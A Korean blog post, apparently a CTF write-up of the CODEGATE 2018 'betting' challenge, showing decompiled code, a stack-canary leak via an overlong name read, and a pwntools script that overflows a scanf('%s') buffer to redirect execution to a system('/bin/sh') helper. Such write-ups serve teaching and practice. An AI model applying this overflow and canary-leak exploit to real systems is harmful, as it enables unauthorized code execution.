ipwn
[CODEGATE 2018] betting 본문
이번에 푼 문제는 betting문제이다.
codegate본선 가서 풀었던 문제인데 예선의 베라보다 쉽다.
왠지 엄청 어려울줄 알고 한 문제라도 풀면 기적이라 생각하고 풀었었다 암튼 분석을 해보자.
보아하니 64bit바이너리에, 카나리, NX가 걸려있다.
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax unsigned int v4; // eax unsigned int v6; // [rsp+4h] [rbp-6Ch] int v7; // [rsp+8h] [rbp-68h] int v8; // [rsp+Ch] [rbp-64h] int v9; // [rsp+10h] [rbp-60h] int v10; // [rsp+14h] [rbp-5Ch] int v11; // [rsp+18h] [rbp-58h] int v12; // [rsp+1Ch] [rbp-54h] const char *v13; // [rsp+20h] [rbp-50h] const char *v14; // [rsp+28h] [rbp-48h] const char *v15; // [rsp+30h] [rbp-40h] const char *v16; // [rsp+38h] [rbp-38h] char v17; // [rsp+40h] [rbp-30h] char s; // [rsp+50h] [rbp-20h] unsigned __int64 v19; // [rsp+68h] [rbp-8h] v19 = __readfsqword(0x28u); v8 = 0; v9 = 0; v6 = 0; v10 = 0; v7 = 0; setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); memset(&s, 0, 0x14uLL); printf("What is your name? ", 0LL); read(0, &s, 0x28uLL); printf("How much money would you like to start with? ", &s); __isoc99_scanf("%d", &v7); while ( v10 >= 0 && v7 > 1 ) { printf("Hi, %s", &s); printf("you have $%d.\n", (unsigned int)v7); while ( !v6 || (signed int)v6 > v7 ) { printf("How much money do you want to bet? "); __isoc99_scanf("%d", &v6); if ( (signed int)v6 > v7 ) puts("Sorry, you don't have enough money to make that bet."); } v3 = time(0LL); srand(v3); v8 = rand() % 13 + 1; v9 = rand() % 4 + 1; v11 = v8; v13 = rank_string(v8); v14 = suit_string(v9); printf("You draw a %s of %s.\n", v13, v14); puts("Will the next card be higher or lower?"); printf("Enter \"h\" for higher or \"l\" for lower: "); __isoc99_scanf("%s", &v17); v4 = time(0LL); srand(v4); v8 = rand() % 13 + 1; v9 = rand() % 4 + 1; v12 = v8; v15 = rank_string(v8); v16 = suit_string(v9); printf("You draw a %s of %s.\n", v15, v16); if ( v17 == 104 && v11 > v12 || v17 == 108 && v11 < v12 ) { v7 -= v6; printf("LOSE!!! Too bad %s", &s); printf("You lose $%d.\n", v6); goto LABEL_15; } if ( v11 == v12 ) { puts("I'll give you one more chance."); } else { v7 += v6; printf("Win! Congratulations %s", &s); printf("You win $%d!\n", v6); LABEL_15: v6 = 0; } } if ( v10 > 0 ) { printf("You win the game %s! ", &s); } else { printf("Too bad %s", &s); puts("You are out of money! You lose."); } return 0; } |
보면 그냥 게임을 하는 바이너리인데, 카드 하나 뽑고 값이 위인지 아래인지 맞추는 게임인 것 같다.
맨 처음엔 이름 입력을 read로 받는데, 카나리까지 24byte를 덮어주면 된다.
근데 카나리의 첫 byte가 NULL이기 때문에 25byte를 덮어줘야 카나리를 leak해줄 수 있다
그 다음에는 scanf로 betting할 돈을 입력하는데, 이건 범위만 맞추면 아무 영향 없으니 제껴두고.
scanf로 high인지 low인지를 scanf로 받는데 이부분을 %s로 받는다. 즉 canary도 덮을 수 있고, ret도 변조시킬 수 있다.
근데 매우 놀라운 사실 하나가 있다.
int helper() { return system("/bin/sh"); } |
이런 함수를 그냥 준다.
그래서 걍 ret을 이 함수로 덮어주면 shell을 획득할 수 있다.
쉘 땄다.
from pwn import * #p = remote('110.10.147.29', 8282) p = process('./betting') shell = 0x4008F6 pay = 'h'*40 p.recv() p.sendline('A'*24) p.recv() p.sendline('2') p.recvuntil('\x0a') canary = '\x00' + p.recv()[0:7] log.info('canary leak : ' + hex(u64(canary))) pay += canary pay += 'A'*8 pay += p64(shell) p.sendline('2') p.recv() p.sendline(pay + '\n') p.recv() p.interactive() |
본선 문제치고 굉장히 쉬운 수준이었다.
'CTF's > CODEGATE' 카테고리의 다른 글
[CODAGATE 2018] heapbabe (0) | 2018.11.13 |
---|---|
[CODEGATE 2018] catshop (0) | 2018.05.17 |
[CODEGATE 2016] bugbug (0) | 2018.03.26 |
[CODEGATE 2018] BaskinRobins31 (5) | 2018.03.02 |
[CODEGATE 2014] nuclear (0) | 2018.02.02 |
Comments